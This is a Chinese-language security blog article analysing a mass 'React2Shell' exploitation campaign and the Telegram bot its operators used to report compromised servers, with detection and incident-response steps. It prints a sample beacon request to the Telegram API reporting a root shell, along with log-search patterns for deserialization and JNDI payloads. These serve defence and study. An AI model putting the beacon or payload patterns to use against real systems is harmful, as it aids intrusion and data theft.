先问个问题:你所在公司的安全团队,最近有没有收到过这样的预警——一条漏洞利用链在几小时内打穿几百家企业,攻击进度不是人工统计,而是自动同步到某个聊天频道里?我最近在复盘一批涉及公网系统的批量攻击事件时,最感慨的是这个标题背后的场景:黑客利用Telegram做“战报系统”,900余家企业遭React2Shell漏洞批量洗劫。放在几年前,这几乎不可想象。手工打点的时代,一个攻击者一天能拿下一两台服务器就算高产;现在,扫描、指纹识别、漏洞利用、结果回传全部自动化,带队的人坐在屏幕前,看着频道里的战报刷屏,像在看一场实时直播。
所谓React2Shell,并不是某个开源前端框架本身出了一个远程代码执行漏洞,而是安全社区对一整类利用链的统称:入口是跑着React单页应用的业务系统,最终拿到的是操作系统Shell。这次事件里被点名的900余家企业,绝大多数是被同一条利用链批量投递后倒下的。这篇文章我不打算从头讲攻击者怎么做,而是把这条链拆开,从作战模型、漏洞特征、Telegram战报系统原理,再到企业应急响应该做什么,一条线过一遍。无论你是安全运营、运维还是开发负责人,都能在里面找到可以直接抄作业的部分。
1. 批量洗劫900余家企业的作战模型:漏洞、指纹、回传
1.1 为什么黑客需要一套“战报系统”
先说一个反直觉的事实:大规模攻击事件背后往往不是一个人,而是一个分工明确的团伙。有人负责资产测绘,有人负责写漏洞利用脚本,有人负责内网横向,有人负责数据变现。人一多,就一定会出现一个需求:同步战果。你说可以用聊天工具私聊?问题在于,一个人手里捏着几十台服务器的权限,每台的状态都在实时变化,靠私聊根本管理不过来。攻击者需要的是一套类似“订单管理系统”的东西,只不过这里的“客户”是目标系统,“订单状态”是漏洞利用进度。
于是“战报系统”就出现了。自动化脚本把每台目标的利用结果发送到一个固定的频道或群组里,格式统一、实时刷新、所有人共享。谁处理到哪一步、哪些目标值得深入、哪些已经失去价值,扫一眼就清楚。这次事件里,攻击者选择的消息通道是Telegram,因为Bot API足够简单,一条HTTP请求就能把战报推送出去,不需要自己维护任何基础设施。说白了,这就是攻击运营思维的体现:连“后勤”都要标准化。
我见过不少人对“黑客用聊天软件同步战报”这件事嗤之以鼻,觉得不高级。但恰恰相反,这种轻量化方案在实战中极其有效。传统C2(命令控制服务器)要买域名、租主机、配置加密通信,每一样都需要维护,还容易被溯源;而基于Telegram Bot API的方案,攻击者只需要一个Token,其他什么都不用管。这套逻辑放在任何行业里都成立:能用现成基础设施解决的问题,就没有必要自建。
1.2 一条利用链打一片:同类系统为何集体遭殃
真正让900余家企业在同一波攻击里集体中招的,不是攻击者有多聪明,而是部署在同一类技术栈上的企业系统实在太多了。很多中型企业做业务系统时,选型高度一致:前端统一用React重构,后端沿用某个被广泛使用的Java快速开发框架。这类系统通常保留着早期框架的“原汁原味”能力:不安全的序列化解析、接口未授权访问、表达式执行,全都有。
在公网上,它们暴露着大量入口:订单导入、报表导出、工作流审批、低代码表单渲染,随便一个都可能成为利用点。攻击者只要把其中一条利用链研究透,就能在任何一个长得一样的系统上重复利用。批量洗劫的流程大致可以概括为四步:全网资产测绘,抓取公网IP和域名;识别出跑着同类系统的指纹;对命中指纹的目标批量发送漏洞利用请求;每成功一个,脚本就向战报频道上报一次。最后,人工根据战报挑选高价值目标做深入渗透。整个过程中,人只出现在两头:一头是写插件,一头是看战报做决策,中间全部自动化。
这里有个很扎心的事实:你不是被“随机”选中的,你是被“分类”选中的。攻击者没有任何动机去针对某一家企业,他要的是“同款系统”这个集合。所以,如果你的系统和别人长得一模一样,那么当某一天这条利用链被打穿时,你大概率也在队列里。
2. React2Shell漏洞利用链到底打在哪:检测特征与日志检索思路
2.1 React2Shell不是“React的漏洞”,而是整条利用链的代号
我第一次看到“React2Shell”这个代号时也愣了一下。React是前端框架,理论上不直接接触服务器运行时,怎么会跟拿到Shell扯上关系?后来拆开看才明白:这个代号描述的是一个完整链路,起点是跑着React单页应用的业务系统,终点是你拿到了服务器的命令执行权限。安全社区给它起这个名字,更多是为了方便指代这条利用链,而不是说React框架本身存在漏洞。
以这次事件里最常见的一类路径为例:某业务系统的导入导出功能,后端接口接收用户上传的模板文件并解析。前端是React写的,攻击者看到的入口是一个单页应用;后端解析模板时用了不安全的组件,攻击者上传一个精心构造的模板文件,触发反序列化漏洞,直接执行系统命令。还有一类更直接的:后台管理接口把用户提交的对象当作表达式计算,相当于把代码执行能力直接交给了攻击者。
这类漏洞在技术上并不新鲜,反序列化、表达式注入都是安全圈的老话题了。它之所以能造成“批量洗劫”的杀伤力,核心靠两点:一是系统同构化严重,二是暴露面太大。大量企业把管理后台、文件导入、接口调试功能直接放在公网,连基本的访问控制都没有,攻击者扫描到一个入口就能顺藤摸瓜。
2.2 攻击请求的典型特征与日志检索思路
作为防守方,我们不可能等攻击者把利用脚本交到手上。更有效的做法是:把攻击请求的共性特征提炼出来,写成检索规则,去历史日志里翻,这和写杀毒软件的病毒特征是一个思路。参照各参与方的复盘,React2Shell利用链的请求通常有下面这些特征:
- 请求集中命中少数几个高危路径:
/api/importTemplate、/api/editor/save、/api/gateway/exec、/api/upload这一类。 - 请求方式几乎都是POST,Content-Type是
multipart/form-data、application/json或x-www-form-urlencoded。 - 请求体要么是超长base64字符串,要么以
rO0AB开头(Java对象序列化流的固定头),要么包含jndi:、ldap://、${...}这类关键字。 - 同一个源IP会在短时间内对同一路径发起多次尝试,每次payload都不一样,明显是在试错。
日志检索语句可以这么写(以常见检索语法为例):
method=POST AND status=200 AND path IN ("/api/importTemplate", "/api/editor/save", "/api/gateway/exec", "/api/upload") AND (body_contains("rO0AB") OR body_contains("jndi:") OR body_contains("ldap://"))出现命中,不代表一定被利用了,但至少意味着存在攻击尝试,需要结合响应结果继续排查。比如紧跟着出现一个上传成功记录,或者第二天Web目录里多了个陌生JSP、PHP文件,那基本可以断定已经落地了。这里我建议把告警时间窗口拉长到“攻击请求前后24小时”,因为有些后门不是当场写入的,而是攻击者先完成漏洞探测,确认成功后才手动上传工具。
2.3 批量投递的自动化流程:指纹识别到落地的四步
攻击者真正厉害的地方,是把整个流程工程化了。拆开看就是四步,缺一不可:
- 资产测绘:扫描全网,收集开放了80、443、8080等端口的IP和域名。
- 指纹识别:通过前端静态资源、后端响应头、登录页特征判断是不是目标框架。React应用通常会在HTML里出现几个固定的JS文件名;有的系统后端会返回自定义的
X-Powered-By响应头;有的登录页有特定的Title或Logo资源路径。 - 批量投递:命中指纹的目标进入队列,利用脚本用线程池做高并发请求,不需要人盯着。
- 结果回传:每成功一个目标,脚本立即组装一条消息发到Telegram战报频道,带上目标信息、系统类型、权限、Shell地址。
这四步里,指纹识别决定了批量投递的精度。所以防守方要做的事情也很明确:让指纹识别失效,让同款系统出现差异。举个例子,把框架默认的响应头改掉、隐藏页面里明显的框架标识、给管理后台加双重访问控制、把高风险的导入导出接口改成内网白名单访问。这些做法不复杂,但能直接把攻击者的测绘成本抬上去。攻击者看到一百个面目模糊的系统时,通常会放弃这一批,转而去挑更容易的下手。
3. Telegram“战报系统”拆解:黑客的后勤指挥中枢长什么样
3.1 它其实不复杂:Bot API + 一条HTTP请求
很多人把“Telegram战报系统”想象得很神秘,其实拆开就两件东西:一个Telegram Bot,和一个能发HTTP请求的脚本。攻击者先申请一个Bot,拿到Bot Token,格式是一串“数字:大小写字母”组成的密钥;再创建一个频道或群组,把Bot拉进去,拿到对应的Chat ID。之后的逻辑非常简单:调用Bot API的sendMessage接口,把战报文本放进请求体即可。
请求大概长这样(只展示对防守方有参考价值的报文结构,不涉及任何完整攻击利用代码):
POST /bot<INSERT_TOKEN>/sendMessage HTTP/1.1 Host: api.telegram.org Content-Type: application/json {"chat_id": "-100xxxxxxxxxx", "text": "[+] unit_id=xxx status=getshell host=10.10.x.x permission=root", "parse_mode": "Markdown"}被攻陷的服务器上,通常落着一个几十行的小脚本,定时执行一次,把本机状态上报出去。因为请求本身是标准的HTTPS外联,如果企业没有做细粒度的出网管控,这类流量在防火墙上看起来和普通业务外联没什么区别。这就是它隐蔽性的来源:它确实在“偷偷”通信,但它走的是一条现成的、看似无害的消息通道。
3.2 黑客的战报里到底写了什么
我接触过不少这类频道的截图,战报格式一般非常规整,字段大同小异。整理下来,核心信息大概是这些:
| 字段 | 说明 | 为什么黑客要记这个 |
|---|---|---|
| 目标标识 | 域名、IP或企业名称 | 区分不同目标,避免重复劳动 |
| 指纹名称 | 框架/组件型号版本 | 决定后续内网渗透用什么工具 |
| 利用入口 | 命中的具体接口 | 复盘用,评估这条链能否复用 |
| Shell状态 | 是否成功、连接地址 | 把权限交接给后续操作者 |
| 系统环境 | OS、Web目录、当前权限 | 判断目标值不值得继续投入 |
| 数据外传 | 已导出数据量、存放位置 | 数据价值直接决定收益 |
| 存活检测 | 上次上报时间、agent状态 | 防止权限掉了还不知道 |
如果你在日志里发现某个进程反复访问消息类API域名,并且请求数据里带着上面这些字段,那基本可以确认是攻击者的战报通道。这时候不要犹豫,按应急流程处理,后面第4部分会讲具体动作。
3.3 为什么选Telegram:免费、实时、很难被注意
从攻击者视角看,选择消息通道的第一诉求不是你想象的高强度加密通信,而是“零成本、够快、不用维护”。Telegram Bot API几乎完美满足这三点:免费、一条HTTP请求即可发布、手机电脑实时同步;多人协作时,频道比私聊清晰得多,还能用@所有人提醒关键节点。整套系统不需要攻击者自己准备任何基础设施,唯一的“资产”就是一个Token。
这里有个容易被忽略的点:用现成的消息API,意味着攻击者少了一大块需要维护的“根据地”。传统C2要有域名、主机、通信协议,每一件都可能被溯源、被处置;而消息API是第三方公开服务,攻击者不拥有它,所以企业拿它做检测点反而更有效。防守方要注意的是:企业服务器如果出现对api.telegram.org的主动外联,尤其是由非业务进程、非运维脚本发起的,优先级应该直接提到最高。当然也要区分正常场景,有些运维团队确实会用Bot API发告警,判断时要结合发起进程路径、请求内容和频率,不能一棍子打死。
4. 企业自检与应急响应:从止血到持续监控的五个关键动作
4.1 拿到预警后,第一步先查这三件事
如果公司内部通报说某类系统存在React2Shell利用风险,或者你已经在日志里看到异常请求,先不要慌,按顺序做三件事。
先翻Web日志。按第2.2节的检索语句把攻击请求捞出来,确认来源IP、命中路径、时间窗口。重点是两个:有没有返回成功状态码的请求;请求之后有没有出现文件上传、接口调用等后续动作。这一步能帮你判断攻击是“到门口看了一眼”还是“已经进来了”。
再查Web目录和临时目录里的可疑文件。常见后门文件名后缀是jsp、jspx、php、aspx,有的藏在/upload/、/static/、/tmp/目录里,文件名经常是随机字符串,或者伪装成系统日志的样子。建议把文件按修改时间排序,重点看告警时间段内新增的文件,先查后缀敏感的文件,再查文件名可疑的。
最后查进程和计划任务。看看有没有可疑进程持续外联,计划任务有没有新增条目。不需要记住所有系统命令,思路就是:凡是路径在/tmp/、根目录或隐藏目录里的计划任务,凡是父进程是Web容器但命令行带着curl、wget、base64字符串的进程,全部视为高危信号。这三件事做完,你对事件的定性基本就有数了。
4.2 止血五件事,少一件都可能二次沦陷
确认被攻陷之后,处置顺序非常关键。我按优先级整理了五件事,建议直接抄:
- 断外联,先于清后门。发现服务器被攻陷,第一步不是删文件,而是断开服务器对外访问,至少先封锁出网连接,再谈清理。否则你删一个Webshell,攻击者远程连上来又传一个,陷入猫鼠游戏。
- 封禁消息API外联。在防火墙和边界设备上,对消息类API域名做访问控制。没有业务需求的服务器,一律禁止外联。这一步直接掐断攻击者的“战报通道”,让他失去对权限的实时掌控。
- 升级受影响组件。找到利用链命中的组件,升级到修复版本或打补丁。这一步是治本,不升级的话,清理完漏洞下次还会被打。
- 收紧公网暴露面。管理后台、导入导出接口、调试接口全部改为内网访问或加白名单,临时开放的端口立即关闭。
- 全量改口令。系统口令、数据库口令、中间件管理口令全部更换,重点防范攻击者已经拿到了运维凭据。这一步经常被忽略,但批量攻击里非常常见:攻击者拿到一个口令,打穿一片同口令系统。
这五件事的顺序是有讲究的。先断网再清后门,是为了防止清理过程中攻击者干预;先封消息外联再升级组件,是为了截断攻击者的指挥链路。只有每条链路都堵住,才算真正的止血。
4.3 把一次应急变成长期防御:监控与反制
一次应急做完,如果只是把Webshell删了、漏洞补了,那三个月后同样手法换个马甲还能再来。真正的价值,在于把这次事件沉淀成监控规则和防御机制。我建议做三件事。
第一,做外联基线监控。给所有服务器建立“外联基线”,明确哪些服务器可以主动访问哪些域名。不在基线的外联请求,哪怕一次,也直接告警。攻击者的战报回传一旦需要绕过这条基线,成本和暴露风险都会大幅上升。
第二,做差异化部署。让你和同类系统之间的指纹不再千篇一律。修改默认响应头、移除明显的框架特征、给后台登录加二次验证,这些动作能让攻击者的批量扫描命中率直线下降。做扫描的人看到的结果是“这一批系统里找不到可靠目标”,自然会转向别处。
第三,部署高交互蜜罐。把一台伪装成同款系统的蜜罐放进公网,攻击者扫描和投递时,蜜罐会完整记录他的工具链、请求手法、甚至他后续尝试执行的命令。蜜罐相当于给攻击者配了一部假电话,他打给谁、说了什么,你这边都有录音。虽然不能直接阻止攻击,但对于情报收集和溯源来说,价值非常高。
5. 常见问题排查对照表与应急经验心得
5.1 高频问题排查对照表
下面这张表,是我整理应急案例时经常遇到的现象和对应处置思路,放在这里方便你直接查:
| 现象 | 可能原因 | 排查/处置建议 |
|---|---|---|
| Web服务器CPU突然飙升后回落 | 反序列化漏洞被用来执行资源密集型命令 | 检查对应时间段访问日志,看是否存在异常POST |
| 日志中出现对消息类API域名的请求 | 攻击者战报回传脚本仍在运行 | 定位进程和计划任务,先断外联再清除 |
| Web目录新增可疑jsp/php文件 | 攻击者已拿到权限并写入持久化后门 | 不要直接删除,先停机取证,确认是否还有隐藏入口 |
| 数据库账号口令突然失效 | 数据被导出后被攻击者篡改 | 重置口令,检查数据库操作日志 |
| 防火墙连续拦截相同payload | 攻击者正批量扫描同类系统 | 更新WAF规则,通知相关服务器全面排查 |
| 访问日志出现大量相同User-Agent | 自动化工具在做指纹识别 | 对来源IP做临时限流,分析其访问路径 |
| 登录接口请求体是二进制乱码 | 可能是不安全反序列化尝试 | 记录请求体样本,分析是否命中漏洞特征 |
| 多台服务器同时沦陷 | 同一套框架漏洞被自动化投递 | 全量排查所有同类框架系统,而不只是单台 |
5.2 应急响应时我踩过的几个坑
做应急响应这些年,踩过不少坑,挑几个有代表性的说说。
第一个坑:只查Web日志,不查负载均衡后端的应用日志。流量经过负载均衡设备后,Web日志里来源IP全是内网IP,攻击者的真实来源被掩盖了。如果直接按IP去封,整个网段都会被误封。正确做法是把负载均衡和应用日志关联起来,用会话ID或响应时间窗口去找攻击特征,而不是依赖单一数据源。
第二个坑:删了Webshell就以为完事。攻击者实现持久化不只有文件这一种方式,可能是计划任务、服务注册,甚至是内存马。清理完文件后,一定要重启进程,再观察一段时间的外联流量,确认没有“复活”迹象。一次应急做到“清理后观察24小时无异常外联”,才算真正结束。
第三个坑:把告警全部交给WAF就不管了。WAF拦截日志里躺着一堆漏洞利用请求,但如果只看拦截数量不看后续访问,就会漏掉已经绕过规则的流量。WAF的规则永远有滞后性,定期对拦截日志做二次分析,找出那些“绕过”或“变形”的请求,才能跟上攻击者的节奏。
第四个坑:把正常业务外联也当攻击。有的企业运维脚本会向消息服务发通知,误报后盲目封禁,导致业务告警通道中断。收到告警先看进程路径和请求内容,再决定要不要处置,宁停三分,不误封一秒。判断的标准是“谁在发、发给谁、发什么”,而不是“发生外联就要封”。
最后说点个人体会。做了这些年应急响应,我最大的感受是:攻击者早就在用工业化思路打批量战,防守方如果还靠人工“救火式”响应,差距只会越拉越大。这次事件里最值得思考的,其实不是某个漏洞有多厉害,而是Telegram战报系统这种轻量级后勤保障带来的效率提升——它说明攻击组织开始像正经团队一样运营攻击了。我建议每家企业的安全负责人,今晚就做两件小事:第一,检查防火墙出网策略,看服务器能否访问消息类API域名;第二,把这篇里的检索语句丢进日志系统跑一遍,看看有没有历史告警。这两件事加起来用不了一小时,但可能决定下次攻击发生时,你是被动收到通报的那一个,还是主动发现威胁的那一个。